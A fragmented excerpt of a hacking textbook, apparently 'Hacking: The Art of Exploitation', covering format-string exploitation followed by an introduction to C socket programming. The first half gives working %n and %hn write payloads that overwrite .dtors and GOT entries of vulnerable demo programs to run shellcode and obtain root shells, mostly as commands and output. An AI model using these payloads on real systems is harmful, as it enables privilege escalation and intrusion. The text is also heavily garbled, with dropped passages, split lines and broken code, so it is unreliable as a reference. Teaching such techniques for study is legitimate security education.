/fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\
xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%8x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
[*] test_val @ 0x080497f4 = 52 0x00000034
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 52 + 8"
$1 = 161
reader@hacking:~/booksrc $
...
This technique can be used to wrap around
again and set the least significant byte to 0x06 for the third write
...
/fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\
xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0
4b4e554a
[*] test_val @ 0x080497f4 = 109517 0x0001abcd
[*] next_val @ 0x080497f8 = 286331136 0x11111100
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x06 - 0xab"
$1 = -165
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x106 - 0xab"
$1 = 91
reader@hacking:~/booksrc $
...
The wraparound technique seems to be working fine, but a slight
problem manifests itself as the final byte is attempted
...
/fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\
xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%2x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%2x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3a0b7fe75fc
0
4b4e554a
4b4e554a4b4e554a
[*] test_val @ 0x080497f4 = 235318221 0x0e06abcd
[*] next_val @ 0x080497f8 = 285212674 0x11000002
reader@hacking:~/booksrc $
What happened here? The difference between 0x06 and 0x08 is only two, but
eight bytes are output, resulting in the byte 0x0e being written by the %nformat
parameter, instead
...
This
problem can be alleviated by simply wrapping around again; however, it's good to
know the limitations of the field width option
...
/fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\
xf6\
x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%258x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%258x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3a0b7fe75fc
0
4b4e554a
4b4e554a
4b4e554a
[*] test_val @ 0x080497f4 = 134654925 0x0806abcd
[*] next_val @ 0x080497f8 = 285212675 0x11000003
reader@hacking:~/booksrc $
Just like before, the appropriate addresses and junk data are put in the beginning
of the format string, and the least significant byte is controlled for four write
operations to overwrite all four bytes of the variable test_val
...
Also, any additions less than eight may need to be wrapped around
in a similar fashion
...
In the previous
exploits, each of the format parameter arguments had to be stepped through
sequentially
...
In addition, the sequential nature required three 4-byte words of junk to
properly write a full address to an arbitrary memory location
...
For example, %n$d would access the nth
parameter and display it as a decimal number
...
The second format
parameter accesses the fourth parameter and uses a field width option of 05
...
This method of direct access
eliminates the need to step through memory until the beginning of the format
string is located, since this memory can be accessed directly
...
reader@hacking:~/booksrc $
...
/fmt_vuln AAAA%4\$x
The right way to print user-controlled input:
AAAA%4$x
The wrong way to print user-controlled input:
AAAA41414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $
In this example, the beginning of the format string is located at the fourth
parameter argument
...
Since this is being done on the command line and the dollar sign is a special
character, it must be escaped with a backslash
...
The actual
format string can be seen when it is printed correctly
...
Since
memory can be accessed directly, there's no need for four-byte spacers of junk
data to increment the byte output count
...
For practice, let's use direct parameter access to write a
more realistic-looking address of 0xbffffd72 into the variable test_vals
...
/fmt_vuln $(perl -e 'print "\x94\x97\x04\x08"
...
"\x96\x97\x04\x08"
...
/fmt_vuln $(perl -e 'print "\x94\x97\x04\x08"
...
"\x96\x97\x04\x08"
...
/fmt_vuln $(perl -e 'print "\x94\x97\x04\x08"
...
"\x96\x97\x04\x08"
...
Direct parameter access is only
used for the %n parameters, since it really doesn't matter what values are used for
the %x spacers
...
Using Short Writes
Another technique that can simplify format string exploits is using short writes
...
A more complete description of possible format parameters
can be found in the printf manual page
...
The length modifier
Here, integer conversion stands for d, i, o, u, x, or X conversion
...
This can be used with format string exploits to write two-byte shorts
...
Naturally, direct parameter access can still be used
...
/fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%hn
The right way to print user-controlled input:
??%x%x%x%hn
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = -65515 0xffff 0015
reader@hacking:~/booksrc $
...
/fmt_vuln $(printf "\x96\x97\x04\x08")%4\$hn
The right way to print user-controlled input:
??%4$hn
The wrong way to print user-controlled input:
??
[*] test_val @ 0x08049794 = 327608 0x0004ffb8
reader@hacking:~/booksrc $
Using short writes, an entire four-byte value can be overwritten with just two %hn
parameters
...
reader@hacking:~/booksrc $ gdb -q
(gdb) p 0xfd72 - 8
$1 = 64874
(gdb) p 0xbfff - 0xfd72
$2 = -15731
(gdb) p 0x1bfff - 0xfd72
$3 = 49805
(gdb) quit
reader@hacking:~/booksrc $
...
Using short
writes, the order of the writes doesn't matter, so the first write can be 0xfd72 and
the second 0xbfff, if the two passed addresses are swapped in position
...
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xfd72 - 0xbfff
$2 = 15731
(gdb) quit
reader@hacking:~/booksrc $
...
One option is to overwrite the return address
in the most recent stack frame, as was done with the stack-based overflows
...
The nature of stack-based overflows only allows the overwrite
of the return address, but format strings provide the ability to overwrite any
memory address, which creates other possibilities
...
dtors
In binary programs compiled with the GNU C compiler, special table sections
called
...
ctors are made for destructors and constructors,
respectively
...
The destructor functions and the
...
A function can be declared as a destructor function by defining the destructor
attribute, as seen in dtors_sample
...
dtors_sample
...
h>
#include
\n");
printf("and then when main() exits, the destructor is called
...
\n");
}
In the preceding code sample, the cleanup() function is defined with the
destructor attribute, so the function is automatically called when the main()
function exits, as shown next
...
c
reader@hacking:~/booksrc $
...
and then when main() exits, the destructor is called
...
reader@hacking:~/booksrc $
This behavior of automatically executing a function on exit is controlled by the
...
This section is an array of 32-bit addresses
terminated by a NULL address
...
Between these two are the addresses
of all the functions that have been declared with the destructor attribute
...
reader@hacking:~/booksrc $ nm
...
get_pc_thunk
...
0
080496b0 A _edata
080496b4 A _end
080484b0 T _fini
080484e0 R _fp_hw
0804827c T _init
080482f0 T _start
08048314 t call_gmon_start
080483e8 t cleanup
080496b0 b completed
...
0
08048380 t frame_dummy
080483b4 T main
080496ac d p
...
0
reader@hacking:~/booksrc $
The nm command shows that the cleanup() function is located at 0x080483e8
(shown in bold above)
...
dtors section starts at 0x080495ac
with __DTOR_LIST__ and ends at 0x080495b4 with __DTOR_END__( )
...
The objdump command shows the actual contents of the
...
The first value of 80495ac is
simply showing the address where the
...
Then the actual
bytes are shown, opposed to DWORDs, which means the bytes are reversed
...
reader@hacking:~/booksrc $ objdump -s -j
...
/dtors_sample
...
dtors:
80495ac ffffffff e8830408 00000000
...
dtors section is that it is writable
...
dtors section isn't
labeled READONLY
...
/dtors_sample
...
interp 00000013 08048114 08048114 00000114 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1
...
ABI-tag 00000020 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2
...
dynsym 00000060 08048174 08048174 00000174 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4
...
gnu
...
gnu
...
rel
...
rel
...
init 00000017 0804827c 0804827c 0000027c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10
...
text 000001c0 080482f0 080482f0 000002f0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12
...
rodata 000000bf 080484e0 080484e0 000004e0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
14
...
ctors 00000008 080495a4 080495a4 000005a4 2**2
CONTENTS, ALLOC, LOAD, DATA
16
...
jcr 00000004 080495b8 080495b8 000005b8 2**2
CONTENTS, ALLOC, LOAD, DATA
18
...
got 00000004 08049684 08049684 00000684 2**2
CONTENTS, ALLOC, LOAD, DATA
20
...
plt 0000001c 08049688 08049688 00000688 2**2
CONTENTS, ALLOC, LOAD, DATA
21
...
bss 00000004 080496b0 080496b0 000006b0 2**2
ALLOC
23
...
debug_aranges 00000058 00000000 00000000 000007e0 2**3
CONTENTS, READONLY, DEBUGGING
25
...
debug_info 000001ad 00000000 00000000 0000085d 2**0
CONTENTS, READONLY, DEBUGGING
27
...
debug_line 0000013d 00000000 00000000 00000a70 2**0
CONTENTS, READONLY, DEBUGGING
29
...
debug_ranges 00000048 00000000 00000000 00000c68 2**3
CONTENTS, READONLY, DEBUGGING
reader@hacking:~/booksrc $
Another interesting detail about the
...
This means that the vulnerable
format string program, fmt_vuln
...
dtors section containing
nothing
...
reader@hacking:~/booksrc $ nm
...
dtors
...
/fmt_vuln: file format elf32-i386
Contents of section
...
reader@hacking:~/booksrc $
As this output shows, the distance between __DTOR_LIST__ and __DTOR_END__ is
only four bytes this time, which means there are no addresses between them
...
Since the
...
This will be the address of
__DTOR_LIST__ plus four, which is 0x08049694 (which also happens to be the
address of __DTOR_END__ in this case)
...
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode
...
/getenvaddr SHELLCODE
...
Since the program name lengths of the helper program
getenvaddr
...
c program differ by two bytes, the
shellcode will be located at 0xbffff9ec when fmt_vuln
...
This address
simply has to be written into the
...
In the output below the short write
method is used
...
/fmt_vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
reader@hacking:~/booksrc $
...
2# whoami
root
sh-3
...
dtors section isn't properly terminated with a NULL address of
0x00000000, the shellcode address is still considered to be a destructor function
...
Another notesearch Vulnerability
In addition to the buffer overflow vulnerability, the notesearch program from
Chapter 0x200 also suffers from a format string vulnerability
...
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) // If end of file reached,
return 0; // return 0
...
note_buffer[note_length] = 0; // Terminate the string
...
return 1;
}
This function reads the note_buffer from the file and prints the contents of the
note without supplying its own format string
...
In the following output, the notetaker
program is used to create notes to probe memory in the notesearch program
...
reader@hacking:~/booksrc $
...
"x10')
[DEBUG] buffer @ 0x804a008: 'AAAA%x
...
%x
...
%x
...
%x
...
%x
...
'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved
...
/notesearch AAAA
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
AAAAbffff750
...
20435455
...
0
...
1
...
252e7825
...
-------[ end of note data ]------reader@hacking:~/booksrc $
...
reader@hacking:~/booksrc $
...
dtors section with the address of injected shellcode
...
bin)
reader@hacking:~/booksrc $
...
/notesearch
SHELLCODE will be at 0xbffff9e8
reader@hacking:~/booksrc $ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xf9e8 - 0xbfff
$2 = 14825
(gdb) quit
reader@hacking:~/booksrc $ nm
...
/notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\
x08")%49143x%8\$hn%14825x%9\$hn
[DEBUG] buffer @ 0x804a008: 'b?`?%49143x%8$hn%14825x%9$hn'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved
...
/notesearch 49143x
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
[DEBUG] found a 9 byte note for user id 999
[DEBUG] found a 33 byte note for user id 999
21
-------[ end of note data ]------sh-3
...
2#
Overwriting the Global Offset Table
Since a program could use a function in a shared library many times, it's useful to
have a table to reference all the functions
...
This section consists of many jump instructions, each one corresponding to the
address of a function
...
An object dump disassembling the PLT section in the vulnerable format string
program (fmt_vuln
...
plt
...
/fmt_vuln: file format elf32-i386
Disassembly of section
...
080482c8 <__gmon_start__@plt>:
80482c8: ff 25 74 97 04 08 jmp *0x8049774
80482ce: 68 00 00 00 00 push $0x0
80482d3: e9 e0 ff ff ff jmp 80482b8 <_init+0x18>
080482d8 <__libc_start_main@plt>:
80482d8: ff 25 78 97 04 08 jmp *0x8049778
80482de: 68 08 00 00 00 push $0x8
80482e3: e9 d0 ff ff ff jmp 80482b8 <_init+0x18>
080482e8
80482e8: ff 25 7c 97 04 08 jmp *0x804977c
80482ee: 68 10 00 00 00 push $0x10
80482f3: e9 c0 ff ff ff jmp 80482b8 <_init+0x18>
080482f8
80482f8: ff 25 80 97 04 08 jmp *0x8049780
80482fe: 68 18 00 00 00 push $0x18
8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18>
08048308
8048308: ff 25 84 97 04 08 jmp *0x8049784
804830e: 68 20 00 00 00 push $0x20
8048313: e9 a0 ff ff ff jmp 80482b8 <_init+0x18>
reader@hacking:~/booksrc $
One of these jump instructions is associated with the exit() function, which is
called at the end of the program
...
Below, the procedure linking
table is shown to be read only
...
/fmt_vuln | grep -A1 "\
...
plt 00000060 080482b8 080482b8 000002b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
But closer examination of the jump instructions (shown in bold below) reveals that
they aren't jumping to addresses but to pointers to addresses
...
080482f8
80482f8: ff 25 80 97 04 08 jmp *0x8049780
80482fe: 68 18 00 00 00 push $0x18
8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18>
08048308
8048308: ff 25 84 97 04 08 jmp *0x8049784
804830e: 68 20 00 00 00 push $0x20
8048313: e9 a0 ff ff ff jmp 80482b8 <_init+0x18>
These addresses exist in another section, called the global offset table (GOT), which is
writable
...
reader@hacking:~/booksrc $ objdump -R
...
/fmt_vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT printf
08049784 R_386_JUMP_SLOT exit
reader@hacking:~/booksrc $
This reveals that the address of the exit() function (shown in bold above) is
located in the GOT at 0x08049784
...
As usual, the shellcode is put in an environment variable, its actual location is
predicted, and the format string vulnerability is used to write the value
...
The calculations for the %x format parameters will be done once again for clarity
...
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode
...
/getenvaddr SHELLCODE
...
/fmt_vuln
...
/fmt_vuln $(printf "\x86\x97\x04\x08\x84\x97\x04\
x08")%49143x%4\$hn%14829x%5\$hn
The right way to print user-controlled input:
????%49143x%4$hn%14829x%5$hn
The wrong way to print user-controlled input:
????
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3
...
2#
When fmt_vuln
...
Since the actual
address has been switched with the address for the shellcode in the environment,
a root shell is spawned
...
The ability to overwrite any arbitrary address opens up many possibilities for
exploitation
...
Chapter 0x400
...
By using a common language, humans are able to transfer knowledge,
coordinate actions, and share experiences
...
The real utility of a web browser isn't in the program itself, but in
its ability to communicate with webservers
...
Many
applications such as email, the Web, and instant messaging rely on networking
...
Many people don't realize that there are vulnerabilities in the networking
protocols themselves
...
OSI Model
When two computers talk to each other, they need to speak the same language
...
The OSI
model provides standards that allow hardware, such as routers and firewalls, to
focus on one particular aspect of communication that applies to them and ignore
others
...
This way, routing and firewall hardware can focus on passing data at the lower
layers, ignoring the higher layers of data encapsulation used by running
applications
...
Th
is the lowest layer, whose primary role is communicating raw bit streams
...
Data-link layer This layer deals with actually transferring data between two points
In contrast with the physical layer, which takes care of sending the raw bits, this
layer provides high-level functions, such as error correction and flow control
...
Network layer This layer works as a middle ground; its primary role is to pass
information between the lower and the higher layers
...
Transport layer This layer provides transparent transfer of data between systems
...
Session layer This layer is responsible for establishing and maintaining connections
between network applications
...
This allows for things like encryption and
data compression
...
When data is communicated through these protocol layers, it's sent in small
pieces called packets
...
Starting from the application layer, the packet wraps the pre-sentation
layer around that data, which wraps the session layer, which wraps the transport
layer, and so forth
...
Each wrapped layer
contains a header and a body
...
The body of
one layer contains the entire package of previously encapsulated layers, like the
skin of an onion or the functional contexts found on a program's stack
...
The next later is the data link layer
...
This protocol allows for
communication between Ethernet ports, but these ports don't yet have IP
addresses
...
In addition to addressing, this layer is responsible for moving data
from one address to another
...
The next layer is the transport
layer, which for web traffic is TCP; it provides a seamless bidirectional socket
connection
...
Other addressing schemes exist at this layer; however, your
web traffic probably uses IP version 4 (IPv4)
...
XX
...
XX
...
Since IPv4 is most common, IP will always refer to IPv4 in this
book
...
When you browse the Web, the web
browser on your network is communicating across the Internet with the
webserver located on a different private network
...
Since the router isn't concerned with what's actually in the packets, it only
needs to implement protocols up to the network layer
...
This
router then encapsulates this packet with the lowerlayer protocol headers needed
for the packet to reach its final destination
...
Figure 0x400-1
...
These
protocols are programmed into routers, firewalls, and your computer's operating
system so they can communicate
...
Since the operating system takes care of
the details of network encapsulation, writing network programs is just a matter of
using the network interface of the OS
...
A
socket can be thought of as an endpoint to a connection, like a socket on an
operator's switchboard
...
To
the programmer, a socket can be used to send or receive data over a network
...
There are several different
types of sockets that determine the structure of the transport layer (4)
...
Stream sockets provide reliable two-way communication similar to when you call
someone on the phone
...
In
addition, there is immediate confirmation that what you said actually reached its
destination
...
On computer networks, data is usually transmitted in chunks called
packets
...
Webservers, mail servers, and their
respective client applications all use TCP and stream sockets to communicate
...
Communicating with a
datagram socket is more like mailing a letter than making a phone call
...
If you mail several letters, you can't be
sure that they arrived in the same order, or even that they reached their
destination at all
...
Datagram sockets use another standard protocol called UDP instead of TCP
on the transport layer (4)
...
This protocol is very basic and
lightweight, with few safeguards built into it
...
With datagram sockets,
there is very little overhead in the protocol, but the protocol doesn't do much
...
In some cases
packet loss is acceptable
...
Socket Functions
In C, sockets behave a lot like files since they use file descriptors to identify
themselves
...
However, there are several functions specifically designed for dealing with
sockets
...
h
...
connect(int fd, struct sockaddr *remote_host, socklen_t addr_length)
Connects a socket (described by file descriptor fd) to a remote host
...
bind(int fd, struct sockaddr *local_addr, socklen_t addr_length)
Binds a socket to a local address so it can listen for incoming connections
...
listen(int fd, int backlog_queue_size)
Listens for incoming connections and queues connection requests up to
backlog_queue_size
...
accept(int fd, sockaddr *remote_host, socklen_t *addr_length)
Accepts an incoming connection on a bound socket
...
This function
returns a new socket file descriptor to identify the connected socket or -1 on
error
...
recv(int fd, void *buffer, size_t n, int flags)
Receives n bytes from socket fd into *buffer; returns the number of bytes
received or -1 on error
...
The domain refers to the protocol family
of the socket
...
25 (when you are being a gigantic nerd)
...
h, which is automatically included from
sys/socket
...
From /usr/include/bits/socket
...
*/
#define PF_UNSPEC 0 /* Unspecified
...
*/
#define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL
...
*/
#define PF_INET 2 /* IP protocol family
...
25
...
*/
#define PF_APPLETALK 5 /* Appletalk DDP
...
*/
#define PF_BRIDGE 7 /* Multiprotocol bridge
...
*/
#define PF_X25 9 /* Reserved for X
...
*/
#define PF_INET6 10 /* IP version 6
...
As mentioned before, there are several types of sockets, although stream sockets
and datagram sockets are the most commonly used
...
h
...
)
From /usr/include/bits/socket
...
*/
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams
...
*/
#define SOCK_DGRAM SOCK_DGRAM
...
The specification allows for multiple protocols within a protocol
family, so this argument is used to select one of the protocols from the family
...
This is the case for everything we will do with sockets in this book, so
this argument will always be 0 in our examples
...
This structure is also defined in bits/socket
...
From /usr/include/bits/socket
...
*/
#include
*/
struct sockaddr
{
__SOCKADDR_COMMON (sa_); /* Common data: address family and length
...
*/
};
The macro for SOCKADDR_COMMON is defined in the included bits/sockaddr
...
This value defines the address
family of the address, and the rest of the structure is saved for address data
...
The possible address families
are also defined in bits/socket
...
From /usr/include/bits/socket
...
*/
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6
...
These structures are also the same size,
so they can be typecast to and from each other
...
25
...
In this book we are going to deal with Internet Protocol version 4, which is the
protocol family PF_INET, using the address family AF_INET
...
h file
...
h
/* Structure describing an Internet socket address
...
*/
struct in_addr sin_addr; /* Internet address
...
*/
unsigned char sin_zero[sizeof (struct sockaddr) __SOCKADDR_COMMON_SIZE sizeof (in_port_t) sizeof (struct in_addr)];
};
The SOCKADDR_COMMON part at the top of the structure is simply the unsigned short
int mentioned above, which is used to define the address family
...
The port number is a 16-bit short, while the
in_addr structure used for the Internet address contains a 32-bit number
...
This space isn't used for anything, but must be saved so the structures
can be interchangeably typecast
...
Network Byte Order
The port number and IP address used in the AF_INET socket address structure are
expected to follow the network byte ordering, which is big-endian
...
There are several functions specifically for these conversions, whose prototypes
are defined in the netinet/in
...
h include files
...
Internet Address Conversion
When you see 12
...
110
...
This familiar dotted-number notation is a common way to specify
Internet addresses, and there are functions to convert this notation to and from a
32-bit integer in network byte order
...
h include file, and the two most useful conversion functions are:
inet_aton(char *ascii_addr, struct in_addr *network_addr)
ASCII to Network
This function converts an ASCII string containing an IP address in
dottednumber format into an in_addr structure, which, as you remember, only
contains a 32-bit integer representing the IP address in network byte order
...
It is passed a pointer to an in_addr
structure containing an IP address, and the function returns a character
pointer to an ASCII string containing the IP address in dotted-number format
...
A Simple Server Example
The best way to show how these functions are used is by example
...
When a client connects, it
sends the message Hello, world! and then receives data until the connection is
closed
...
A
useful memory dump function has been added to hacking
...
Added to hacking
...
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line
...
");
}
printf("\n"); // End of the dump line (each line is 16 bytes)
} // End if
} // End for
}
This function is used to display packet data by the server program
...
h, instead
...
simple_server
...
h>
#include
h>
#include
h>
#include
h"
#define PORT 7890 // The port users will be connecting to
int main(void) {
int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd
struct sockaddr_in host_addr, client_addr; // My address information
socklen_t sin_size;
int recv_length=1, yes=1;
char buffer[1024];
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
fatal("setting socket option SO_REUSEADDR");
So far, the program sets up a socket using the socket() function
...
The final protocol argument is 0, since there is
only one protocol in the PF_INET protocol family
...
The setsockopt() function is simply used to set socket options
...
Without this option set, when the program tries to bind to a
given port, it will fail if that port is already in use
...
The first argument to this function is the socket (referenced by a file descriptor),
the second specifies the level of the option, and the third specifies the option
itself
...
There are many different socket options defined in /usr/include/ asm/socket
...
The
final two arguments are a pointer to the data that the option should be set to and
the length of that data
...
This allows the functions to
handle all sorts of data, from single bytes to large data structures
...
host_addr
...
sin_port = htons(PORT); // Short, network byte order
host_addr
...
s_addr = 0; // Automatically fill with my IP
...
sin_zero), '\0', 8); // Zero the rest of the struct
...
The
address family is AF_INET, since we are using IPv4 and the sockaddr_instructure
...
This short integer value must be
converted into network byte order, so the htons() function is used
...
Since the value 0 is the same regardless of byte order, no conversion is
necessary
...
This call will bind the socket to the current IP
address on port 7890
...
The listen()
function places all incoming connections into a backlog queue until an accept()
call accepts the connections
...
while(1) { // Accept loop
...
sin_addr), ntohs(client_addr
...
The accept() function's first
two arguments should make sense immediately; the final argument is a pointer to
the size of the address structure
...
For our purposes, the size never changes,
but to use the function we must obey the calling convention
...
This
way, the original socket file descriptor can continue to be used for accepting new
connections, while the new socket file descriptor is used for communicating with
the connected client
...
The send() function sends the 13 bytes of the string Hello, world!\n to the new
socket that describes the new connection
...
Next is a loop that receives data from the connection and prints it out
...
The function writes the data into the buffer passed to it and returns the
number of bytes it actually wrote
...
When compiled and run, the program binds to port 7890 of the host and waits for
incoming connections:
reader@hacking:~/booksrc $ gcc simple_server
...
/a
...
From a Remote Machine
matrix@euclid:~ $ telnet 192
...
42
...
168
...
248
...
168
...
248
...
Hello, world!
this is a test
fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf
Upon connection, the server sends the string Hello, world!, and the rest is the
local character echo of me typing this is a test and a line of keyboard
mashing
...
Back on the server side, the output shows the
connection and the packets of data that are sent back
...
/a
...
168
...
1 port 56971
RECV: 16 bytes
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test
...
A Web Client Example
The telnet program works well as a client for our server, so there really isn't much
reason to write a specialized client
...
Every time you use a
web browser, it makes a connection to a webserver somewhere
...
By default, webservers run on port 80,
which is listed along with many other default ports in /etc/services
...
At this
layer, all of the networking details have already been taken care of by the lower
layers, so HTTP uses plaintext for its structure
...
Since these are standard protocols, they are all well documented and
easily researched
...
There's no need
to be fluent, but knowing a few important phrases will help you when traveling to
foreign servers
...
For example,
GET / HTTP/1
...
0
...
html
...
If the command HEAD is used instead
of GET, it will only return the HTTP headers without the content
...
These headers
can be retrieved manually using telnet by connecting to port 80 of a known
website, then typing HEAD / HTTP/1
...
In the output
below, telnet is used to open a TCP-IP connection to the webserver at
http://www
...
net
...
reader@hacking:~/booksrc $ telnet www
...
net 80
Trying 208
...
188
...
Connected to www
...
net
...
HEAD / HTTP/1
...
1 200 OK
Date: Fri, 14 Sep 2007 05:34:14 GMT
Server: Apache/2
...
52 (CentOS)
Accept-Ranges: bytes
Content-Length: 6743
Connection: close
Content-Type: text/html; charset=UTF-8
Connection closed by foreign host
...
0
...
This can be useful for profiling, so let's write a program that
automates this manual process
...
Since the
standard socket functions aren't very friendly, let's write some functions to send
and receive data
...
h
...
The send_string()
function accepts a socket and a string pointer as arguments and makes sure the
entire string is sent out over the socket
...
You may have noticed that every packet the simple server received ended with
the bytes 0x0D and 0x0A
...
The HTTP protocol also expects lines to
be terminated with these two bytes
...
reader@hacking:~/booksrc $ man ascii | egrep "Hex|0A|0D"
Reformatting ascii(7), please wait
...
It reads from the socket
passed as the first argument into the a buffer that the second argument points to
...
Then it terminates the string and exits the
function
...
They are listed below in a new include file called
hacking-network
...
hacking-network
...
The function will make sure all the bytes of the
* string are sent
...
*/
int send_string(int sockfd, unsigned char *buffer) {
int sent_bytes, bytes_to_send;
bytes_to_send = strlen(buffer);
while(bytes_to_send > 0) {
sent_bytes = send(sockfd, buffer, bytes_to_send, 0);
if(sent_bytes == -1)
return 0; // Return 0 on send error
...
}
/* This function accepts a socket FD and a ptr to a destination
* buffer
...
The EOL bytes are read from the socket, but
* the destination buffer is terminated before these bytes
...
*/
int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL "\r\n" // End-of-line byte sequence
#define EOL_SIZE 2
unsigned char *ptr;
int eol_matched = 0;
ptr = dest_buffer;
while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte
...
return strlen(dest_buffer); // Return bytes received
}
} else {
eol_matched = 0;
}
ptr++; // Increment the pointer to the next byter
...
}
Making a socket connection to a numerical IP address is pretty simple but named
addresses are commonly used for convenience
...
internic
...
0
...
161
...
Naturally, there are socket-related functions and structures specifically for
hostname lookups via DNS
...
h
...
The hostent structure is filled with information from the lookup, including the
numerical IP address as a 32-bit integer in network byte order
...
This structure is shown below, as listed in netdb
...
From /usr/include/netdb
...
*/
struct hostent
{
char *h_name; /* Official name of host
...
*/
int h_addrtype; /* Host address type
...
*/
char **h_addr_list; /* List of addresses from name server
...
*/
};
The following code demonstrates the use of the gethostbyname() function
...
c
#include
h>
#include
h>
#include
h>
#include
h"
int main(int argc, char *argv[]) {
struct hostent *host_info;
struct in_addr *address;
if(argc < 2) {
printf("Usage: %s
exit(1);
}
host_info = gethostbyname(argv[1]);
if(host_info == NULL) {
printf("Couldn't lookup %s\n", argv[1]);
} else {
address = (struct in_addr *) (host_info->h_addr);
printf("%s has address %s\n", argv[1], inet_ntoa(*address));
}
}
This program accepts a hostname as its only argument and prints out the IP
address
...
A pointer to this element is
typecast into an in_addr pointer, which is later dereferenced for the call to
inet_ntoa(), which expects a in_addr structure as its argument
...
reader@hacking:~/booksrc $ gcc -o host_lookup host_lookup
...
/host_lookup www
...
net
www
...
net has address 208
...
188
...
/host_lookup www
...
com
www
...
com has address 74
...
19
...
webserver_id
...
h>
#include
h>
#include
h>
#include
h>
#include "hacking
...
h"
int main(int argc, char *argv[]) {
int sockfd;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[4096];
if(argc < 2) {
printf("Usage: %s
exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
target_addr
...
sin_port = htons(80);
target_addr
...
sin_zero), '\0', 8); // Zero the rest of the struct
...
0\r\n\r\n");
while(recv_line(sockfd, buffer)) {
if(strncasecmp(buffer, "Server:", 7) == 0) {
printf("The web server for %s is %s\n", argv[1], buffer+8);
exit(0);
}
}
printf("Server line not found\n");
exit(1);
}
Most of this code should make sense to you now
...
The connect() function is called to connect to port 80 of the target host, the
